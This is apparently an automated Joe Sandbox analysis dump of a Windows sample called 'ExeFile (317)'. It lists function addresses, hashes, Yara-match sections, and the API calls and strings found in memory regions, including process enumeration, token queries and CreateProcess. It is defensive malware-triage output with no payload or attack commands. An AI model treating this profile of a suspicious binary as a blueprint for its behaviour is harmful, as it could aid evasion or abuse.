Source File: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID: DR$Ou$fX
API String ID: 0-261343277
Opcode ID: 35011a71f1efeec21f41205fa19cc1100f716a3433215c3aa15e41254a7a0bd4
Instruction ID: 26e3e15e17c02de51cb6387fb84f0665eaf152113c6c90fd31b629eac5359920
Opcode Fuzzy Hash: 35011a71f1efeec21f41205fa19cc1100f716a3433215c3aa15e41254a7a0bd4
Instruction Fuzzy Hash: E18170B26083018FD728DFA5D98562EBBE4BBC4714F10092DF185D7394E7B4DA09CB56

Function 00539C6E Relevance: 3.9, Strings: 3, Instructions: 169COMMON

Download Yara Rule

Strings

DR, xrefs: 00539CA6
Ou, xrefs: 00539D2E
m, xrefs: 00539C9E

Memory Dump Source

Source File: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID: DR$Ou$m
API String ID: 0-902897619
Opcode ID: 3022d519a8e764b99babba5539b7764b19e81e0461fb9d543b1525caf33a4baa
Instruction ID: a97e565ea7281109aacdd6ef864bd38686118fa85cf9ec00323de72a000ef4ea
Opcode Fuzzy Hash: 3022d519a8e764b99babba5539b7764b19e81e0461fb9d543b1525caf33a4baa
Instruction Fuzzy Hash: 166192B2A087029FD714DF68C889A2EBBE4BBD4714F044D1DF49597294D7B8C909CF82

Function 00628660 Relevance: 3.9, Strings: 3, Instructions: 160COMMON

Download Yara Rule

Strings

\au , xrefs: 006287EE
#CH., xrefs: 006287E4
#CH., xrefs: 006287C6

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID: #CH.$#CH.$\au
API String ID: 0-122621526
Opcode ID: 35b0c4b4a6dbbe72a3082d9a67849c72e4d59433cb03268e85573b0fb539c703
Instruction ID: bece3c891867bf5a7b56d2f99a0774c17e143f034c2ded7f7bba600d5fd059a4
Opcode Fuzzy Hash: 35b0c4b4a6dbbe72a3082d9a67849c72e4d59433cb03268e85573b0fb539c703
Instruction Fuzzy Hash: AB410360B01A209FDB609B68BC91B7F6297AB94340F64083EB905DB381DF39DC058F52

Function 0040E930 Relevance: 3.1, APIs: 2, Instructions: 54libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00410250: __wcstoi64.LIBCMT ref: 00410246

LdrFindResource_U.NTDLL(00400000,?,00000000), ref: 0040E988
LdrAccessResource.NTDLL(00400000,?,?,?), ref: 0040E9A6

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: AccessFindResourceResource___wcstoi64
String ID:
API String ID: 2704380589-0
Opcode ID: d30840d2d2ead43e04db132799bc46682c7cb9d7c0ce2fb371b64fffc8a1bc2b
Instruction ID: 9141d4ce81294af721937c9894f8c7d92bdb9d8b2fa3c749db9c995ded6ab3af
Opcode Fuzzy Hash: d30840d2d2ead43e04db132799bc46682c7cb9d7c0ce2fb371b64fffc8a1bc2b
Instruction Fuzzy Hash: E511F8B5618301AFC304DF15D851BABBBE4BBC8744F408D2EF48997251D778E9488B96

Function 005390CE Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

j>, xrefs: 005390D4
_I, xrefs: 005391C1

Memory Dump Source

Source File: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID: j>$_I
API String ID: 0-1249037685
Opcode ID: 29f85d3dca72841e53796d257874640ed7d86128da8aafbf7407b600ee0fd507
Instruction ID: 63600194a1a44117f8152635f89c2b60ecf4666ab59303c525198b62abada0a2
Opcode Fuzzy Hash: 29f85d3dca72841e53796d257874640ed7d86128da8aafbf7407b600ee0fd507
Instruction Fuzzy Hash: 13A1C5B1A083028FC758DF68D54562F7BE5BBC4704F00492DF586AB2A5E774DD09CB92

Function 00627530 Relevance: 2.8, Strings: 2, Instructions: 266COMMON

Download Yara Rule

Strings

_I, xrefs: 00627623
j>, xrefs: 00627536

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID: j>$_I
API String ID: 0-1249037685
Opcode ID: 0ce98c627a3ef8f56e32092e844db825a375563f34ee1da950837984c9b5538a
Instruction ID: 731ccbb6a5b7a052e16c4227f926a013ea3482d0098b8dccd73831301b26156c
Opcode Fuzzy Hash: 0ce98c627a3ef8f56e32092e844db825a375563f34ee1da950837984c9b5538a
Instruction Fuzzy Hash: 97A1CE71A08B128BC758DF68E84592BB6E6BBC4344F404A2DF5859B390E774DE09CF92

Function 00413E30 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00013DEE), ref: 00413E35

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 235ea5c9bef6c299f322fcec842cddea2a7dec40c526a528a8edc706dd861580
Instruction ID: 123ae4dee83c8ecde87b64a495cd6158ef4cf236bc87e197f895214c45768a6d
Opcode Fuzzy Hash: 235ea5c9bef6c299f322fcec842cddea2a7dec40c526a528a8edc706dd861580
Instruction Fuzzy Hash: 8C9002B43521005647002B726C295C52D905A4C623B9144B1E409C5054DA554688951E

Function 0053380E Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

Z#, xrefs: 00533811

Memory Dump Source

Source File: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID: Z#
API String ID: 0-2750076499
Opcode ID: 48aefe013c6b0e285082495dbe214cf7901ff6248647a73da0f804c683cf7bf0
Instruction ID: c707882f417e53467f34dc89586bd175e0ca8e704a46f13a637e778071cf3db3
Opcode Fuzzy Hash: 48aefe013c6b0e285082495dbe214cf7901ff6248647a73da0f804c683cf7bf0
Instruction Fuzzy Hash: 13417E72A087019FC748EF64D94512EB7E1BFD5724F408C2DE4D98B264D7B89916CF42

Function 00621C70 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

Z#, xrefs: 00621C73

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID: Z#
API String ID: 0-2750076499
Opcode ID: 3ebd49d1241f56ccfebdee3b28654e4fc4fa710f834c4a33895a9e86659a60cb
Instruction ID: 3b837b6adac980887186f4367f199121eec9672b5918122d9a6df5e375e9b41e
Opcode Fuzzy Hash: 3ebd49d1241f56ccfebdee3b28654e4fc4fa710f834c4a33895a9e86659a60cb
Instruction Fuzzy Hash: 1B4179B16087119FC348EF24E84506AB7E2BFD4714F41CC2DE4EA8B360D7B899168F82

Function 005359DE Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

G, xrefs: 00535A1E

Memory Dump Source

Source File: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID: G
API String ID: 0-2152773504
Opcode ID: 5eefff4cf2e22a7b35d1d0869e14a7a0ca1d29622391eb98c12b28d1863400ce
Instruction ID: 1145cf04f662233df7864fb4fe1586b7b748a6f0685fa76a52734dd12df83737
Opcode Fuzzy Hash: 5eefff4cf2e22a7b35d1d0869e14a7a0ca1d29622391eb98c12b28d1863400ce
Instruction Fuzzy Hash: 6641E2B15093968BD354DF14E18546BBBE0FB80715F404E5EF4A19A251E3B4DA4CCBA3

Function 00623E40 Relevance: 1.3, Strings: 1, Instructions: 89COMMON

Download Yara Rule

Strings

G, xrefs: 00623E80

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID: G
API String ID: 0-2152773504
Opcode ID: 5eefff4cf2e22a7b35d1d0869e14a7a0ca1d29622391eb98c12b28d1863400ce
Instruction ID: e088dd71f3a3ff3c9326c5bd0de07955737d24614e515d7b90ab2c500c86bba5
Opcode Fuzzy Hash: 5eefff4cf2e22a7b35d1d0869e14a7a0ca1d29622391eb98c12b28d1863400ce
Instruction Fuzzy Hash: 9F41D2B19093A68BD314DF14E18546BB7F1FB90B14F404D5EF4A19A251E3B8DA4CCBA3

Function 00530C9F Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 633a1300b885a53bfa161636d9103113250ac8edc966c0ff43162eb85c4b339e
Instruction ID: a6fb2837df0fe3924f00b27048a2142f68a03d4fbdda566cc3983501fb68d715
Opcode Fuzzy Hash: 633a1300b885a53bfa161636d9103113250ac8edc966c0ff43162eb85c4b339e
Instruction Fuzzy Hash: 2941E8B9A01209EFDB04CF94C5A4B9DBBB1FF88304F245599D8069B385D735EE52DB80

Function 00530456 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction ID: 3b2ba1daf2a24b609dfdf99f2baf03005f285be18165c922d09bea785151a2ef
Opcode Fuzzy Hash: ded6229e3e23a4507086dc0077879e3907ca58c6aaa16bf319b008a2148b5087
Instruction Fuzzy Hash: 6C31A5366047468FCB10DF1CC490926BBE4FF89314F05596DEA9587352D334FA468B91

Function 0053689E Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1674963737.0000000000530000.00000040.00001000.00020000.00000000.sdmp, Offset: 00530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_530000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Function 00624D00 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675028418.0000000000621000.00000020.00001000.00020000.00000000.sdmp, Offset: 00620000, based on PE: true

Associated: 00000000.00000002.1675014188.0000000000620000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1675045503.000000000062D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_620000_ExeFile (317).jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: 6cae658f33ca92bcc76ffcd72798f6487763aeebc788fd534dd3d52e563a93f0
Instruction Fuzzy Hash:

Function 00413A77 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,?,004109B8), ref: 00413A7F
__mtterm.LIBCMT ref: 00413A8B

Part of subcall function 004137C4: DecodePointer.KERNEL32(00000006,00413BED,?,004109B8), ref: 004137D5
Part of subcall function 004137C4: TlsFree.KERNEL32(00000004,00413BED,?,004109B8), ref: 004137EF
Part of subcall function 004137C4: DeleteCriticalSection.KERNEL32(00000000,00000000,76EF5810,?,00413BED,?,004109B8), ref: 00414742
Part of subcall function 004137C4: _free.LIBCMT ref: 00414745
Part of subcall function 004137C4: DeleteCriticalSection.KERNEL32(00000004,76EF5810,?,00413BED,?,004109B8), ref: 0041476C

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00413AA1
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00413AAE
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00413ABB
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00413AC8
TlsAlloc.KERNEL32(?,004109B8), ref: 00413B18
TlsSetValue.KERNEL32(00000000,?,004109B8), ref: 00413B33
__init_pointers.LIBCMT ref: 00413B3D
EncodePointer.KERNEL32(?,004109B8), ref: 00413B4E
EncodePointer.KERNEL32(?,004109B8), ref: 00413B5B
EncodePointer.KERNEL32(?,004109B8), ref: 00413B68
EncodePointer.KERNEL32(?,004109B8), ref: 00413B75
DecodePointer.KERNEL32(00413948,?,004109B8), ref: 00413B96
__calloc_crt.LIBCMT ref: 00413BAB
DecodePointer.KERNEL32(00000000,?,004109B8), ref: 00413BC5
GetCurrentThreadId.KERNEL32 ref: 00413BD7

Strings

FlsFree, xrefs: 00413ABD
FlsGetValue, xrefs: 00413AA3
KERNEL32.DLL, xrefs: 00413A7A
FlsAlloc, xrefs: 00413A9B
FlsSetValue, xrefs: 00413AB0

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: 7fa4eb56ef05f7034d1ff1bbb87a14009720894ebe7a7eebfb30a0a54c149666
Instruction ID: b88612f9e2fa8c258af8cfdc3785799afccaa31c7b0e2b814971bbd95b978274
Opcode Fuzzy Hash: 7fa4eb56ef05f7034d1ff1bbb87a14009720894ebe7a7eebfb30a0a54c149666
Instruction Fuzzy Hash: 9E31B370904215ABD710AFB9FD096E63FF0AB48765710843BE815D32B1E7799986CF8C

Function 0040F7B0 Relevance: 33.4, APIs: 13, Strings: 6, Instructions: 190windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0040F8A1
ShowWindow.USER32(00000000,00000001), ref: 0040F8BA
SendMessageW.USER32(00000000,0000100C,000000FF,00000002), ref: 0040F901
wsprintfW.USER32 ref: 0040F92B
MessageBoxW.USER32(00000000,System process can't been terminated!,Windows Notification,00000000), ref: 0040F956
SendMessageW.USER32(00000000,0000100C,00000000,00000002), ref: 0040F96B
DefWindowProcW.USER32(?,?,?,?), ref: 0040FA5F

Strings

System process can't been terminated!, xrefs: 0040F950
View All Processes, xrefs: 0040F991
iPos=%d, xrefs: 0040F925
Windows Notification, xrefs: 0040F94B, 0040F9F4
View My Processes, xrefs: 0040F9AC
The application name can't be found. Please make sure whether the name is right!, xrefs: 0040F9F9

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: Message$SendWindow$PostProcQuitShowwsprintf
String ID: System process can't been terminated!$The application name can't be found. Please make sure whether the name is right!$View All Processes$View My Processes$Windows Notification$iPos=%d
API String ID: 4014529712-140908480
Opcode ID: 746f52bec132f143904a4d114beca3bddeb3b89a76c870e33d9bf59fe38b171c
Instruction ID: b9e1b8610fbedb75af30f79fd81a6c46aadfc3012c35c013c55d51da3f45cb0f
Opcode Fuzzy Hash: 746f52bec132f143904a4d114beca3bddeb3b89a76c870e33d9bf59fe38b171c
Instruction Fuzzy Hash: 8061E7B2610201FBD734AB64EC59BE733A4A788300F14893BE556B76D0E738AC4D8B5D

Function 0040E800 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 76windowCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040E834
wsprintfW.USER32 ref: 0040E848
wsprintfW.USER32 ref: 0040E85C
wsprintfW.USER32 ref: 0040E870
wsprintfW.USER32 ref: 0040E884
SendMessageW.USER32(?,?,?,00001061), ref: 0040E8EF

Strings

Process ID, xrefs: 0040E825
Description, xrefs: 0040E872
d, xrefs: 0040E8DF
Process Name, xrefs: 0040E836
Memory, xrefs: 0040E85E
User Name, xrefs: 0040E84A

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: wsprintf$MessageSend
String ID: Description$Memory$Process ID$Process Name$User Name$d
API String ID: 12235790-2901759098
Opcode ID: e5dbcb87020978b1e542e2b3685ea65f06ad9b3c102300a686b14875117c4917
Instruction ID: 279726ffbfae14383190c6c753e1979e50f314c5c8a28d2d91e27df4f51d6de9
Opcode Fuzzy Hash: e5dbcb87020978b1e542e2b3685ea65f06ad9b3c102300a686b14875117c4917
Instruction Fuzzy Hash: 772161B1A48340AFC360CF65C895B9BBBE4EB89704F504D2FF08893240D7B99945CF9A

Function 0040E2A0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 128COMMON

Download Yara Rule

APIs

OpenProcessToken.ADVAPI32 ref: 0040E2D4
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),?,0000012C,?), ref: 0040E2FF
CloseHandle.KERNEL32(?), ref: 0040E35E
wsprintfW.USER32 ref: 0040E3AE
wsprintfW.USER32 ref: 0040E3CD
wsprintfW.USER32 ref: 0040E3E4

Strings

LookupAccountSid, xrefs: 0040E348
OpenProcessToken, xrefs: 0040E2DE
GetTokenInformation, xrefs: 0040E309
%s %s, xrefs: 0040E3A8

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: wsprintf$Token$CloseHandleInformationOpenProcess
String ID: %s %s$GetTokenInformation$LookupAccountSid$OpenProcessToken
API String ID: 2594950064-3173787032
Opcode ID: e7827d6f24756a15ea7fd67e0d12da55e7482696f9941f31bcf56fd5c500a86e
Instruction ID: affa38bc1eb5f0fd5749b03f1417e1fb464e194ef1bd6555a84b7e3c49497071
Opcode Fuzzy Hash: e7827d6f24756a15ea7fd67e0d12da55e7482696f9941f31bcf56fd5c500a86e
Instruction Fuzzy Hash: C741A371508301ABE720CF25C845BEB77E8ABC8744F044D2EF88993291E778A955CB9A

Function 0040E4B0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 153COMMON

Download Yara Rule

APIs

QueryFullProcessImageNameW.KERNEL32 ref: 0040E4F3

Part of subcall function 0040E170: GetLastError.KERNEL32 ref: 0040E18D
Part of subcall function 0040E170: FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,00000100,00000100,00000000), ref: 0040E1AE

GetFileVersionInfoSizeW.VERSION(?,?), ref: 0040E536
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 0040E577
VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,00000000,00000000), ref: 0040E594
wsprintfW.USER32 ref: 0040E5C3
VerQueryValueW.VERSION(00000000,?,?,?,?,?,00000000,00000000), ref: 0040E5DC
_wcsncpy.LIBCMT ref: 0040E652

Strings

\VarFileInfo\Translation, xrefs: 0040E58E
\StringFileInfo\%04X%04X\FileDescription, xrefs: 0040E5BD
QueryFullProcessImageName, xrefs: 0040E4FD

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: Query$FileInfoValueVersion$ErrorFormatFullImageLastMessageNameProcessSize_wcsncpywsprintf
String ID: QueryFullProcessImageName$\StringFileInfo\%04X%04X\FileDescription$\VarFileInfo\Translation
API String ID: 3020331544-1601958718
Opcode ID: 717397a408e92381d84000f1c6290437c4a0c9b5022d2bdde5cfeda8ea2e2501
Instruction ID: eaa9ef88b69fa93d3b711ac30ff6fc1bf7e9ecaf4ef91606315cd00198441a56
Opcode Fuzzy Hash: 717397a408e92381d84000f1c6290437c4a0c9b5022d2bdde5cfeda8ea2e2501
Instruction Fuzzy Hash: F14119725043016BD324EB22DC45FBB73E8AF98744F444D3EF849922D1EA79D908C76A

Function 006414A0 Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 006414DB
SetLastError.KERNEL32(0000007F), ref: 00641507

Memory Dump Source

Source File: 00000000.00000002.1675098007.0000000000641000.00000020.00001000.00020000.00000000.sdmp, Offset: 00641000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_641000_ExeFile (317).jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: ee6dd14368917d7ab4948f7db8572ab93c348c39554746bfab742a4364e1bf46
Instruction ID: abe2c12f5ed84ff1e0606abb49b906a599e30327c0bdbe6c758261a64d120534
Opcode Fuzzy Hash: ee6dd14368917d7ab4948f7db8572ab93c348c39554746bfab742a4364e1bf46
Instruction Fuzzy Hash: 5B71F574E00109EFDB08DF98C990BADBBB2FF59304F258598E516AB351D734EA81DB90

Function 0040E720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47processCOMMON

Download Yara Rule

APIs

__wcsdup.LIBCMT ref: 0040E729
_memset.LIBCMT ref: 0040E739
CreateProcessW.KERNEL32 ref: 0040E774
CloseHandle.KERNEL32(?), ref: 0040E78E
CloseHandle.KERNEL32(?), ref: 0040E795

Strings

D, xrefs: 0040E76C

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674845323.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674862376.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (317).jbxd

Similarity

API ID: CloseHandle$CreateProcess__wcsdup_memset
String ID: D
API String ID: 169418676-2746444292
Opcode ID: 85112b14f432fe8e92b2228129b8667fad4ace48c94bb840cbc2fdde4ee473de
Instruction ID: 0b47bd45ec23967565d9eba1f3cace27cbad009f0a552ed0d82179670a4d4d1e
Opcode Fuzzy Hash: 85112b14f432fe8e92b2228129b8667fad4ace48c94bb840cbc2fdde4ee473de
Instruction Fuzzy Hash: DB0167B15043006BD310EF69CD41B8B7BE9AF88B40F40891EF659D7240E7B9D9448B97

Function 00413801 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,0041BDC8,00000008,00413909,00000000,00000000,?,?,00413936,?,00410F75,?,?,00412311,?,?), ref: 00413812
__lock.LIBCMT ref: 00413846

Part of subcall function 00414855: __mtinitlocknum.LIBCMT ref: 0041486B
Part of subcall function 00414855: __amsg_exit.LIBCMT ref: 00414877
Part of subcall function 00414855: EnterCriticalSection.KERNEL32(?,?,?,0041384B,0000000D), ref: 0041487F

InterlockedIncrement.KERNEL32(0041D6E0), ref: 00413853
__lock.LIBCMT ref: 00413867
___addlocaleref.LIBCMT ref: 00413885

Strings

KERNEL32.DLL, xrefs: 0041380D

Memory Dump Source

Source File: 00000000.00000002.1674807512.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1674790141.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1674827448.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
